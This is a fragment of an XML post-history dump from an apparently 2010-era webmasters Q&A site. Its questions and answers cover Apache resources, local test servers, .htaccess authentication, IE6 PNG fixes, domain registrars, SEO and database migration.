  <row Id="494" PostHistoryTypeId="2" PostId="275" RevisionGUID="f4a85ffc-8606-43da-9462-9c7fd37d2219" CreationDate="2010-07-08T21:44:23.577" UserId="129" Text="I like O'Reilly Books very much so I'll recomend:&#xD;&#xA;&#xD;&#xA; - [Apache Cookbook][1]&#xD;&#xA; - [Apache Security][2]&#xD;&#xA; - Some more generic reference book such as [The Definitive Guide][3] or [Pocket Reference][4]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://oreilly.com/catalog/9780596529949/&#xD;&#xA;  [2]: http://oreilly.com/catalog/9780596007249/&#xD;&#xA;  [3]: http://oreilly.com/catalog/9780596002039/&#xD;&#xA;  [4]: http://oreilly.com/catalog/9780596518899/" />
  <row Id="495" PostHistoryTypeId="2" PostId="276" RevisionGUID="cc39e2a8-dd38-4ee8-a1bb-723428ea4bb0" CreationDate="2010-07-08T21:44:58.240" UserId="87" Text="[Xampp][1] is easy to install and you can choose to install it in portable form on a USB drive.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.apachefriends.org/en/xampp.html" />
  <row Id="496" PostHistoryTypeId="2" PostId="277" RevisionGUID="0716e2f5-0b60-4e78-b4a5-79db6e58097d" CreationDate="2010-07-08T21:45:31.267" UserId="46" Text="[XAMPP][1].  It is also easy to do with [PortableApps.com][2] but you don't need PortableApps to do it on a removable drive.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.apachefriends.org/en/xampp.html&#xD;&#xA;  [2]: http://portableapps.com/apps/development/xampp" />
  <row Id="497" PostHistoryTypeId="2" PostId="278" RevisionGUID="d0486c9b-6725-4b78-89f2-5eaf98fdc0a2" CreationDate="2010-07-08T21:46:46.370" UserId="81" Text="you can use UserAgent detection, or you can use the jQuery.support(). Since you are looking for specific functionality, you can combine the two to get what you want. &#xD;&#xA;&#xD;&#xA;UserAgent might actually be your best bet. Do this with a .htaccess file to cut down on your http requests, and possibly flashing your main site before redirection in the case of slow connection or slow javascript performance.&#xD;&#xA;&#xD;&#xA;You can see the (mostly) exhaustive list of mobile user agents on the [wikipedia page][1]. As you can see there are similarities between manufacturers and versions that you could look for in a regular expression.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/List_of_user_agents_for_mobile_phones" />
  <row Id="498" PostHistoryTypeId="5" PostId="155" RevisionGUID="a89b23d2-ac82-4801-bb83-c89f03930cc1" CreationDate="2010-07-08T21:47:19.240" UserId="42" Comment="improve formatting" Text="I've used Dreamweaver (albeit CS3 so I am a few versions back), but I am disappointed with the amount of invalid markup it produces.  Are there other WYSIWYG editors out there that produce valid markup?" />
  <row Id="499" PostHistoryTypeId="2" PostId="279" RevisionGUID="4d93876c-1064-4d12-962d-803146d780d0" CreationDate="2010-07-08T21:48:44.513" UserId="118" Text="Gmail is the epitome of progressive enhancement, it goes all the way from straight html to all the bells and whistles.  Which is why it has such a large audience.  So that's a good model to emulate.&#xD;&#xA;&#xD;&#xA;I suggest relegating html5 features to something that gets turned on by javascript for compatible browsers.  Which still means you'll want to start with html 4." />
  <row Id="500" PostHistoryTypeId="2" PostId="280" RevisionGUID="4d7d47bd-08f2-4388-b622-910452ec9d34" CreationDate="2010-07-08T21:49:50.737" UserId="26" Text="Here's a great slidedeck: **[A/B Testing Framework Design][1]** by [Patrick McKenzie][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.slideshare.net/patio11/ab-testing-framework-design-3296257&#xD;&#xA;  [2]: http://www.kalzumeus.com/" />
  <row Id="501" PostHistoryTypeId="2" PostId="281" RevisionGUID="73052806-8a04-4bfd-9e16-f479b8698c22" CreationDate="2010-07-08T21:50:02.623" UserId="132" Text="&lt;a href=&quot;http://www.gandi.net/&quot;&gt;Gandi&lt;/a&gt; comes well recommended. I just moved some of my domains over there, it was a pretty straightforward process." />
  <row Id="502" PostHistoryTypeId="16" PostId="281" RevisionGUID="73052806-8a04-4bfd-9e16-f479b8698c22" CreationDate="2010-07-08T21:50:02.623" UserId="-1" />
  <row Id="503" PostHistoryTypeId="2" PostId="282" RevisionGUID="d2a91bad-4eb1-427c-85ad-11a806ee60a8" CreationDate="2010-07-08T21:50:35.650" UserId="120" Text="I have a folder that I want to host files privately on my webserver.&#xD;&#xA;&#xD;&#xA;How do I go about making it password protected using .htaccess?&#xD;&#xA;&#xD;&#xA;*Note: Nothing monolithic, I want something that is simple/easy so setup so me and a few colleagues can download a few files.*" />
  <row Id="504" PostHistoryTypeId="1" PostId="282" RevisionGUID="d2a91bad-4eb1-427c-85ad-11a806ee60a8" CreationDate="2010-07-08T21:50:35.650" UserId="120" Text="How do I setup authentication on a specific folder using .htaccess?" />
  <row Id="505" PostHistoryTypeId="3" PostId="282" RevisionGUID="d2a91bad-4eb1-427c-85ad-11a806ee60a8" CreationDate="2010-07-08T21:50:35.650" UserId="120" Text="&lt;htaccess&gt;&lt;authentication&gt;" />
  <row Id="506" PostHistoryTypeId="2" PostId="283" RevisionGUID="28f8c77f-063c-4748-ad99-441323a4233e" CreationDate="2010-07-08T21:50:55.947" UserId="41" Text="Reducing the size of files will certainly reduce bandwidth and shorten page load time. The first time a user hits your site they won't have anything cached, and for most sites first time visitors are the majority of the traffic.&#xD;&#xA;&#xD;&#xA;Additionally, make sure you have gzip compression enabled. This will do a drastic amount to reduce bandwidth." />
  <row Id="507" PostHistoryTypeId="2" PostId="284" RevisionGUID="c7d68ede-8080-4f37-a0de-56dfdc068fdc" CreationDate="2010-07-08T21:53:10.080" UserId="105" Text="Shared hosting  &#xD;&#xA;==============&#xD;&#xA;Pros:    &#xD;&#xA;&#xD;&#xA;* Cheap&#xD;&#xA;* Fully managed by hosting company&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Cons&#xD;&#xA;&#xD;&#xA;* You are at mercy of other sites poor performance&#xD;&#xA;* You are in a restricted environment&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Dedicated hosting  &#xD;&#xA;==============&#xD;&#xA;Pros:    &#xD;&#xA;&#xD;&#xA;* You have full control of the machine&#xD;&#xA;* You can set up the web server app whatever you want&#xD;&#xA;* The performance only depends on your apps in the server&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Cons&#xD;&#xA;&#xD;&#xA;* You have to take care of the machine security patches, etc &#xD;&#xA;* If something goes bad, you may have several hours of downtime, depending on your setup, backups, etc (you have to take care of that)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="508" PostHistoryTypeId="2" PostId="285" RevisionGUID="a5bde988-cafb-4aa5-81bf-dfb831a9ab9c" CreationDate="2010-07-08T21:56:05.290" UserId="132" Text="Apache can be a bit heavy, and can fall over when under heavy load. There are lighter weight servers available, including nginx, lighttpd, and cherokee.&#xD;&#xA;&#xD;&#xA;These lightweight options can be set up to serve static files quickly, and delegate dynamic server-side work to Apache." />
  <row Id="509" PostHistoryTypeId="2" PostId="286" RevisionGUID="244ee8eb-d255-4dad-baff-dbeaa7cdf36c" CreationDate="2010-07-08T21:57:34.977" UserId="132" Text="A big point to make: **content is king**.&#xD;&#xA;&#xD;&#xA;Write good content, with appropriate markup, and the visitors will come." />
  <row Id="510" PostHistoryTypeId="2" PostId="287" RevisionGUID="e46aa9f5-b41e-4925-9e52-36ce06e53cc0" CreationDate="2010-07-08T21:58:06.880" UserId="120" Text="There are a lot of companies that provide domain whois but I've heard of a lot of people who had bad experiences where the domain was bought soon after the whois search and the price was increased dramatically.&#xD;&#xA;&#xD;&#xA;Where can I gain access to a domain whois where I don't have to worry about that happening?" />
  <row Id="511" PostHistoryTypeId="1" PostId="287" RevisionGUID="e46aa9f5-b41e-4925-9e52-36ce06e53cc0" CreationDate="2010-07-08T21:58:06.880" UserId="120" Text="Where can I safetly search domain whois without worrying about the search engine parking on the domain immediately after the search?" />
  <row Id="512" PostHistoryTypeId="3" PostId="287" RevisionGUID="e46aa9f5-b41e-4925-9e52-36ce06e53cc0" CreationDate="2010-07-08T21:58:06.880" UserId="120" Text="&lt;domains&gt;&lt;whois&gt;&lt;kiting&gt;&lt;parking&gt;" />
  <row Id="513" PostHistoryTypeId="2" PostId="288" RevisionGUID="f8eb9939-4fdc-4993-919b-1918c9090b7e" CreationDate="2010-07-08T22:00:47.563" UserId="132" Text="IE6 is so far behind the other browsers, it's barely worth supporting. The big catch is that you may have to anyway, if you have a large corporate audience, or other situation where that version is still likely to be used.&#xD;&#xA;&#xD;&#xA;Besides, IE9 is on the way, and has a third preview edition available now. Once that is available, do you really want to still support IE6? That will be four versions to support. I'd suggest slowly phasing out IE6 support if you can." />
  <row Id="514" PostHistoryTypeId="2" PostId="289" RevisionGUID="f999209d-95c9-47c7-9e7e-69a2c02afbf9" CreationDate="2010-07-08T22:02:09.543" UserId="50" Text="You can configure Mercurial to run a web server using the [`hg serve` command][1]. A list of runtime options on hg serve are available [here][2].&#xD;&#xA;&#xD;&#xA;Once you have your web server set up, `hg clone http://servername:port` will pull a copy of the server's resources, and `hg push` from that directory will update the server.&#xD;&#xA;&#xD;&#xA;To force the server to update itself upon receiving a new push, add [the following][3] to the .hg/hgrc file in the repository:&#xD;&#xA;&#xD;&#xA;    [hooks]&#xD;&#xA;    changegroup = hg update &gt;&amp;2&#xD;&#xA;&#xD;&#xA;This should accomplish what you're looking for.&#xD;&#xA;&#xD;&#xA;  [1]: http://mercurial.selenic.com/wiki/Serve&#xD;&#xA;  [2]: http://www.selenic.com/mercurial/hg.1.html#serve&#xD;&#xA;  [3]: http://mercurial.selenic.com/wiki/FAQ#FAQ.2BAC8-CommonProblems.Any_way_to_.27hg_push.27_and_have_an_automatic_.27hg_update.27_on_the_remote_server.3F" />
  <row Id="515" PostHistoryTypeId="2" PostId="290" RevisionGUID="dfae3068-d585-428c-abc8-61a769b37b08" CreationDate="2010-07-08T22:04:20.573" UserId="120" Text="I have a site that I hosed on a shared hosting plan where the domain was sold along with the site.&#xD;&#xA;&#xD;&#xA;Long-story-short. The website registration has lapsed and the plan was canceled and now the hosting compant wants me to pay $250 to purchase my domain name back. Is there anything I can do about it or do I have to pay whatever they ask?" />
  <row Id="516" PostHistoryTypeId="1" PostId="290" RevisionGUID="dfae3068-d585-428c-abc8-61a769b37b08" CreationDate="2010-07-08T22:04:20.573" UserId="120" Text="Mt shared hosting provider has taken hostage my domain name after my registration lapsed, how can I get it back without paying too much?" />
  <row Id="517" PostHistoryTypeId="3" PostId="290" RevisionGUID="dfae3068-d585-428c-abc8-61a769b37b08" CreationDate="2010-07-08T22:04:20.573" UserId="120" Text="&lt;domains&gt;&lt;kiting&gt;&lt;parking&gt;" />
  <row Id="518" PostHistoryTypeId="2" PostId="291" RevisionGUID="ca72f338-1a44-47e3-b131-5d77412cd474" CreationDate="2010-07-08T22:06:49.993" UserId="108" Text="I have never had an issue going to the source http://www.whois.net/. &#xD;&#xA;&#xD;&#xA;You could also download the Sam Spade software package for free.  The software will do a whois for you.  Either way I think you are fine." />
  <row Id="519" PostHistoryTypeId="2" PostId="292" RevisionGUID="bccd924d-129d-4d99-9879-b4862cbef756" CreationDate="2010-07-08T22:07:28.667" UserId="134" Text="If you have shell access on a hosting account you can always search from the command line there. &#xD;&#xA;" />
  <row Id="520" PostHistoryTypeId="2" PostId="293" RevisionGUID="80897662-6dc1-400a-ab5b-80f6ae4c04a2" CreationDate="2010-07-08T22:10:17.027" UserId="108" Text="You need to read the licensing agreement that you agreed to when you registered you domain with them.  If what they are doing is in the section about what happens if your domain lapses and you want it back then you are probably going to have to pay the money.&#xD;&#xA;&#xD;&#xA;Otherwise you have a chance at fighting them but I wouldn't.  That fee is set in a sweet spot where they are going to make money off of you but it isn't to your advantage to call a lawyer.  As the lawyer will cost your much more than that fee." />
  <row Id="521" PostHistoryTypeId="2" PostId="294" RevisionGUID="ace51805-bfb0-4c7a-8690-9c1a04dca56f" CreationDate="2010-07-08T22:10:38.867" UserId="58" Text="I've been working with Apache for a couple years now and am comfortable with basic administration and configuration.  However, I'd really like to increase my skill set from basic administration to being a true Apache wizard.  What are some must read books, mailing lists, feeds, etc. for someone looking to increase their overall skill level with Apache?" />
  <row Id="522" PostHistoryTypeId="1" PostId="294" RevisionGUID="ace51805-bfb0-4c7a-8690-9c1a04dca56f" CreationDate="2010-07-08T22:10:38.867" UserId="58" Text="What are some great resources for mastering Apache administration?" />
  <row Id="523" PostHistoryTypeId="3" PostId="294" RevisionGUID="ace51805-bfb0-4c7a-8690-9c1a04dca56f" CreationDate="2010-07-08T22:10:38.867" UserId="58" Text="&lt;apache&gt;" />
  <row Id="524" PostHistoryTypeId="2" PostId="295" RevisionGUID="974fc1f6-45e6-472a-9f70-1c165c0afa43" CreationDate="2010-07-08T22:13:13.763" UserId="135" Text="One answer I don't see very often is **expectation management** in conjunction with **graded support**. We have reached a point where, as a generalization, IE6 users are aware their browser is out of date but for various reasons are unable to upgrade. So the question shifts from one of education to a much better one for us - to what degree to these users understand and expect the web to be broken for them?&#xD;&#xA;&#xD;&#xA;Based on my experience, there is a general expectation among these users that web sites will not work at 100%. So the first half of battle is in our favor. For the remainder, we can take a graded-support approach. It helps to make a grid of &quot;function or aesthetic&quot; x &quot;IE6 effort&quot; and present that to stakeholders. You can often come up with a viable B-level or C-level grade of support for IE6 users that makes sense for your audience and your stakeholders can live with." />
  <row Id="526" PostHistoryTypeId="2" PostId="296" RevisionGUID="0742094a-b741-46ce-8579-d9af14104023" CreationDate="2010-07-08T22:20:54.083" UserId="136" Text="Read a great [introduction to A/B testing][1] on the smashingmagazine.com. The piece includes to multiple A/B testing tools.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.smashingmagazine.com/2010/06/24/the-ultimate-guide-to-a-b-testing/" />
  <row Id="527" PostHistoryTypeId="2" PostId="297" RevisionGUID="843c202d-0cf0-49e8-ad0b-5d33f2bf7dd7" CreationDate="2010-07-08T22:22:32.537" UserId="36" Text="Some options include:&#xD;&#xA;&#xD;&#xA; - [XAMPP][1]: (Cross Platform) Comes with Apache, MySQL, PHP and Perl support out of the box and is portable but needs manual configuration if you defer from the default.&#xD;&#xA; - [WAMP][2]: (Windows) Comes with Apache, MySQL and PHP support out of the box and allows simple configuration through the tray icon. This also installs as a service so it's not portable.&#xD;&#xA; - [MAMP][3]: (Mac) Comes with Apache, MySQL and PHP support out of the box.&#xD;&#xA; - [EasyPHP][4]: (Windows) Comes with Apache, MySQL and PHP support out of the box and is portable.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.apachefriends.org/en/xampp.html&#xD;&#xA;  [2]: http://www.wampserver.com/en/&#xD;&#xA;  [3]: http://www.mamp.info/en/index.html&#xD;&#xA;  [4]: http://www.easyphp.org/" />
  <row Id="528" PostHistoryTypeId="5" PostId="273" RevisionGUID="8a68a35a-e5ed-4afc-92ab-b0bc91a11116" CreationDate="2010-07-08T22:24:50.650" UserId="120" Comment="added 192 characters in body" Text="I'm looking for a minimum of fuss here to get up and running.&#xD;&#xA;&#xD;&#xA;Bonuses: &#xD;&#xA; - cross platform&#xD;&#xA; - portable (can be installed/run from a USB)&#xD;&#xA;&#xD;&#xA;*Clarification: I'm not looking to setup a full-fledged remote testing server, I just need something simple that I can load localhost in my computer's browser and check my latest changes.*" />
  <row Id="529" PostHistoryTypeId="2" PostId="298" RevisionGUID="726cedd3-e0bd-45d4-b388-6c9cb0535031" CreationDate="2010-07-08T22:29:59.660" UserId="138" Text="How do I use transparent PNGs in IE6? I have a corporate app that **must** use IE6 and **must** use use PNGs, but the transparency all comes through as a pale white colour." />
  <row Id="530" PostHistoryTypeId="1" PostId="298" RevisionGUID="726cedd3-e0bd-45d4-b388-6c9cb0535031" CreationDate="2010-07-08T22:29:59.660" UserId="138" Text="How do I use transparent PNGs in IE6?" />
  <row Id="531" PostHistoryTypeId="3" PostId="298" RevisionGUID="726cedd3-e0bd-45d4-b388-6c9cb0535031" CreationDate="2010-07-08T22:29:59.660" UserId="138" Text="&lt;png&gt;&lt;transparency&gt;" />
  <row Id="532" PostHistoryTypeId="2" PostId="299" RevisionGUID="eeae6bfb-df81-4afd-8618-9d8738d5de6c" CreationDate="2010-07-08T22:34:16.570" UserId="138" Text="There is a jQuery [plugin for it here][1], or the following script also does a good job (just call it in your `&lt;body onload=&quot;&quot;&gt;`;&#xD;&#xA;&#xD;&#xA;    function fixPNG(){&#xD;&#xA;    &#xD;&#xA;    	var arVersion = navigator.appVersion.split(&quot;MSIE&quot;)&#xD;&#xA;    		var version = parseFloat(arVersion[1])&#xD;&#xA;    	&#xD;&#xA;    		if ((version &gt;= 5.5) &amp;&amp; (version &lt; 7) &amp;&amp; (document.body.filters)) &#xD;&#xA;    	&#xD;&#xA;    	&#xD;&#xA;    		{&#xD;&#xA;    		   for(var i=0; i&lt;document.images.length; i++)&#xD;&#xA;    		   {&#xD;&#xA;    			  var img = document.images[i]&#xD;&#xA;    			  var imgName = img.src.toUpperCase()&#xD;&#xA;    			  if (imgName.substring(imgName.length-3, imgName.length) == &quot;PNG&quot;)&#xD;&#xA;    			  {&#xD;&#xA;    				 var imgID = (img.id) ? &quot;id='&quot; + img.id + &quot;' &quot; : &quot;&quot;&#xD;&#xA;    				 var imgClass = (img.className) ? &quot;class='&quot; + img.className + &quot;' &quot; : &quot;&quot;&#xD;&#xA;    				 var imgTitle = (img.title) ? &quot;title='&quot; + img.title + &quot;' &quot; : &quot;title='&quot; + img.alt + &quot;' &quot;&#xD;&#xA;    				 var imgStyle = &quot;display:inline-block;&quot; + img.style.cssText &#xD;&#xA;    				 if (img.align == &quot;left&quot;) imgStyle = &quot;float:left;&quot; + imgStyle&#xD;&#xA;    				 if (img.align == &quot;right&quot;) imgStyle = &quot;float:right;&quot; + imgStyle&#xD;&#xA;    				 if (img.parentElement.href) imgStyle = &quot;cursor:hand;&quot; + imgStyle&#xD;&#xA;    				 var strNewHTML = &quot;&lt;span &quot; + imgID + imgClass + imgTitle&#xD;&#xA;    				 + &quot; style=\&quot;&quot; + &quot;width:&quot; + img.width + &quot;px; height:&quot; + img.height + &quot;px;&quot; + imgStyle + &quot;;&quot;&#xD;&#xA;    				 + &quot;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader&quot;&#xD;&#xA;    				 + &quot;(src=\'&quot; + img.src + &quot;\', sizingMethod='scale');\&quot;&gt;&lt;/span&gt;&quot; &#xD;&#xA;    				 img.outerHTML = strNewHTML&#xD;&#xA;    				 i = i-1&#xD;&#xA;    			  }&#xD;&#xA;    		   }&#xD;&#xA;    		}&#xD;&#xA;    &#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://jquery.andreaseberhard.de/pngFix/" />
  <row Id="533" PostHistoryTypeId="6" PostId="298" RevisionGUID="6659e654-6863-41da-8c9d-afe11436107f" CreationDate="2010-07-08T22:34:27.270" UserId="104" Comment="edited tags" Text="&lt;internet-explorer-6&gt;&lt;png&gt;&lt;transparency&gt;" />
  <row Id="535" PostHistoryTypeId="2" PostId="301" RevisionGUID="18ed475c-f7fa-49c9-912a-5d7c0ae3054c" CreationDate="2010-07-08T22:40:11.290" UserId="141" Text="See for example [this google query for wikipedia][1]; the first result has both sitelinks and a search box to search within the website.&#xD;&#xA;&#xD;&#xA;My site only has sitelinks. Is there anything I can do to make the search box appear?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/search?hl=en&amp;safe=off&amp;q=english+wikipedia&amp;aq=f&amp;aqi=g-c10&amp;aql=&amp;oq=&amp;gs_rfai=&amp;gs_upl=641%2C1%2C4%2C2%2C88%2C196%2C3%2C1" />
  <row Id="536" PostHistoryTypeId="1" PostId="301" RevisionGUID="18ed475c-f7fa-49c9-912a-5d7c0ae3054c" CreationDate="2010-07-08T22:40:11.290" UserId="141" Text="My website has sitelinks but doesn't have a search box below it; is there anything I can do?" />
  <row Id="537" PostHistoryTypeId="3" PostId="301" RevisionGUID="18ed475c-f7fa-49c9-912a-5d7c0ae3054c" CreationDate="2010-07-08T22:40:11.290" UserId="141" Text="&lt;seo&gt;&lt;google&gt;&lt;sitelinks&gt;" />
  <row Id="538" PostHistoryTypeId="5" PostId="45" RevisionGUID="3e2aade6-8997-4535-84b7-7a850203f37c" CreationDate="2010-07-08T22:42:47.247" UserId="36" Comment="added 1 characters in body; edited title; edited title; deleted 128 characters in body; edited title; edited title" Text="I am looking for solutions that will allow me to fully integrate the checkout process into my website, with my own branding, so purchases can be completed without ever leaving my site. " />
  <row Id="539" PostHistoryTypeId="4" PostId="45" RevisionGUID="3e2aade6-8997-4535-84b7-7a850203f37c" CreationDate="2010-07-08T22:42:47.247" UserId="36" Comment="added 1 characters in body; edited title; edited title; deleted 128 characters in body; edited title; edited title" Text="How do I integrate a checkout into my website?" />
  <row Id="541" PostHistoryTypeId="2" PostId="302" RevisionGUID="410aa395-f382-40c5-9640-c1a9be2fa03e" CreationDate="2010-07-08T22:44:22.890" UserId="140" Text="24 ways has a well-written article on this issue:&#xD;&#xA;&#xD;&#xA;http://24ways.org/2007/supersleight-transparent-png-in-ie6" />
  <row Id="543" PostHistoryTypeId="2" PostId="303" RevisionGUID="842bb6ae-5825-452b-a43f-154edc0095d2" CreationDate="2010-07-08T22:44:42.127" UserId="141" Text="The goal is to make embedded youtube videos appear in video search results as part of my website.&#xD;&#xA;&#xD;&#xA;I searched very extensively how to do this; I found through google some articles that claim that it's possible, but they are old and that method no longer works. Youtube seems to have intentionally changed their website to prevent other people from including their videos in external sitemaps.&#xD;&#xA;&#xD;&#xA;To create the sitemap I would need two things:&#xD;&#xA;&#xD;&#xA; * The URL of YouTube's flash player. This should be easy enough.&#xD;&#xA; * This is the hard part: the URL of the .flv of the video. For http://www.youtube.com/watch?v=cE88ZYstEHc it is http://www.youtube.com/get_video?video_id=cE88ZYstEHc&amp;t=vjVQa1PpcFMQCaCarYkjDrCDJyqOQ_cXrG5ulMRoDY8= . &#xD;&#xA;&#xD;&#xA;The &quot;t&quot; which is the tricky part. How can I obtain it?&#xD;&#xA;&#xD;&#xA;Also, am I doing something unethical? If I manage to do this will google and/or youtube be pissed at me? The youtube videos are mine." />
  <row Id="544" PostHistoryTypeId="1" PostId="303" RevisionGUID="842bb6ae-5825-452b-a43f-154edc0095d2" CreationDate="2010-07-08T22:44:42.127" UserId="141" Text="Is there a way to add embedded youtube videos to my website sitemap?" />
  <row Id="545" PostHistoryTypeId="3" PostId="303" RevisionGUID="842bb6ae-5825-452b-a43f-154edc0095d2" CreationDate="2010-07-08T22:44:42.127" UserId="141" Text="&lt;seo&gt;&lt;video&gt;&lt;sitemap&gt;" />
  <row Id="546" PostHistoryTypeId="5" PostId="235" RevisionGUID="2550ba05-c52d-430b-856c-d144ed1ef4ff" CreationDate="2010-07-08T22:45:40.923" UserId="27" Comment="added 263 characters in body" Text="Short answer: it is a pain in the neck!&#xD;&#xA;&#xD;&#xA;I have had to do this several times (and every time makes me want to think about my design more on the next project I do).  What I do is to fork the codebase to a Development section (or folder, or server, etc) so that I can work on it separately to make sure all the bugs are out before moving to deployment.  I then create a SQL script which always has the same first two lines:&#xD;&#xA;&#xD;&#xA;    DELETE IF EXISTS newDatabaseName;&#xD;&#xA;    CREATE DATABASE newDatabaseName;&#xD;&#xA;&#xD;&#xA;This will ensure that the script puts everything into a completely fresh and empty database.  The rest of the script will recreate all tables that I'm reusing from the old database into the new one.  Then I will create the new (or modified) tables into the new database.  Finally I will move all the data from the live server to the development server.  This can take a long time depending on how much data you are moving and how fast you can move it, so I recommend that you think about the script carefully because the less you are forced to run it, the better.&#xD;&#xA;&#xD;&#xA;After I have the new development database up and running, the rest is to create the new code to use it.  Once that is hashed out, then deployment should be relatively easy (though possibly time consuming).  Simply use the same script to copy all the new live data to the new database on the deployment server, and copy all the new code there, and you are done!&#xD;&#xA;&#xD;&#xA;This is how I do it, and while it is a pain, it does work.  If there is a better way, I'd be happy to listen.&#xD;&#xA;&#xD;&#xA;**Update:** In response to Tchalvak's comment, yes I usually use the following to get all the table definitions without their actual data:&#xD;&#xA;&#xD;&#xA;    mysqldump --databases --no-data databaseName &gt; newScript.sql&#xD;&#xA;&#xD;&#xA;I will then alter this script as described above." />
  <row Id="547" PostHistoryTypeId="2" PostId="304" RevisionGUID="f157d2af-a53c-4dd1-b39a-f9738a06d107" CreationDate="2010-07-08T22:49:31.527" UserId="138" Text="Can I have an animated GIF with more than 256 colours per frame? I want to do an animated GIF but the limited colour pallet is making it look like rubbish." />
  <row Id="548" PostHistoryTypeId="1" PostId="304" RevisionGUID="f157d2af-a53c-4dd1-b39a-f9738a06d107" CreationDate="2010-07-08T22:49:31.527" UserId="138" Text="Can I have an animated GIF with more than 256 colours per frame?" />
  <row Id="549" PostHistoryTypeId="3" PostId="304" RevisionGUID="f157d2af-a53c-4dd1-b39a-f9738a06d107" CreationDate="2010-07-08T22:49:31.527" UserId="138" Text="&lt;colour-depth&gt;" />
  <row Id="550" PostHistoryTypeId="2" PostId="305" RevisionGUID="753f3996-e2db-4f7d-87a1-e07de3bec937" CreationDate="2010-07-08T22:50:20.153" UserId="120" Text="**Make your site load faster...**&#xD;&#xA;&#xD;&#xA;Run your site through a performance profiling tool (Firebug + YSlow on FF | Developer Tools on Chrome).&#xD;&#xA;&#xD;&#xA;As of April 2010, Google includes [site speed][1] into their algorithm for page ranking.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2010/04/using-site-speed-in-web-search-ranking.html" />
  <row Id="552" PostHistoryTypeId="2" PostId="307" RevisionGUID="b2c44f26-8ef0-4c45-b451-4e1e339fda72" CreationDate="2010-07-08T22:53:16.530" UserId="87" Text="You'll need to create a file called `.htpasswd` with the content of `username:password` (you should encrypt that.&#xD;&#xA;&#xD;&#xA;Then append this to the `htaccesss file`:&#xD;&#xA;&#xD;&#xA;    AuthUserFile /usr/local/you/safedir/.htpasswd&#xD;&#xA;    AuthGroupFile /dev/null&#xD;&#xA;    AuthName EnterPassword&#xD;&#xA;    AuthType Basic&#xD;&#xA;&#xD;&#xA;    require user username&#xD;&#xA;&#xD;&#xA;Follow [this guide][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.javascriptkit.com/howto/htaccess3.shtml&#xD;&#xA;" />
  <row Id="553" PostHistoryTypeId="5" PostId="45" RevisionGUID="f963d7b8-774d-43ff-91e7-1f9c34ca751c" CreationDate="2010-07-08T22:53:18.310" UserId="36" Comment="deleted 107 characters in body; edited title" Text="If I wanted to take payments on my website, what options are available to me? " />
  <row Id="554" PostHistoryTypeId="2" PostId="308" RevisionGUID="427b59b1-b080-44fd-8837-f0d2c3eca7dd" CreationDate="2010-07-08T22:53:58.543" UserId="141" Text=" * Have original content.&#xD;&#xA; * Create a sitemap.&#xD;&#xA; * Make sure your pages are actually crawlable. Google can't crawl (well) JS content! Try opening your website with a command line unix browser.&#xD;&#xA; * Use semantic HTML&#xD;&#xA; * Use meaningful `&lt;title&gt;`s, `title=&quot;&quot;` attributes, anchor texts&#xD;&#xA; * Add `nofollow` to all user submitted links; otherwise you can use page rank if one of your user links to a phishing/spam/bad website.&#xD;&#xA;" />
  <row Id="555" PostHistoryTypeId="5" PostId="241" RevisionGUID="fa25b6e3-0c1f-4985-b2dd-ae3365521c0d" CreationDate="2010-07-08T22:54:29.650" UserId="27" Comment="added 478 characters in body" Text="Explore [Google's SEO][1] article.  There is a LOT of information there.&#xD;&#xA;&#xD;&#xA;For a little more detail:&#xD;&#xA;&#xD;&#xA;* Create a sitemap.xml for crawlers to know your site&#xD;&#xA;* Keep your URLs organized and short (if possible)&#xD;&#xA;* Make your titles relevant.&#xD;&#xA;* URLs closer to the domain can be considered more important&#xD;&#xA; * i.e. www.site.com/hi.html is more important than www.site.com/one/two/three/hi.com&#xD;&#xA;* Make the content the focus of the site.&#xD;&#xA;&#xD;&#xA;**Update:** There is also one more thing I found very important (at least for my site):  Make sure that it is logical and can be completely (as in all text) viewed in a text based browser (such as lynx).  This is important because crawlers will typically view the site as text based and JavaScript **disabled**.  So if you rely heavily on dynamic content and load everything onto the page after it is loaded, a search engine will probably not pick up on **any** of the data.&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=35291" />
  <row Id="556" PostHistoryTypeId="2" PostId="309" RevisionGUID="9bd930f9-9212-4189-ab07-04dfe7704036" CreationDate="2010-07-08T22:54:54.640" UserId="142" Text="I am looking for a domain name registrar which provides an api for registration.  I want to register domain names programmatically. I don't want registrars which sell packages for resellers or affiliates or merchants where you have to pay some amount upfront or register a minimum number of domains/month. I just want a free use of the api.  Otherwise I will have to do it through clunky screen scraping. I expect to register 0-20 domains/month. The domain registration will be part of an automated web hosting ordering system." />
  <row Id="557" PostHistoryTypeId="1" PostId="309" RevisionGUID="9bd930f9-9212-4189-ab07-04dfe7704036" CreationDate="2010-07-08T22:54:54.640" UserId="142" Text="Domain name registrar which provides an api for registration?" />
  <row Id="558" PostHistoryTypeId="3" PostId="309" RevisionGUID="9bd930f9-9212-4189-ab07-04dfe7704036" CreationDate="2010-07-08T22:54:54.640" UserId="142" Text="&lt;domains&gt;&lt;registrar&gt;" />
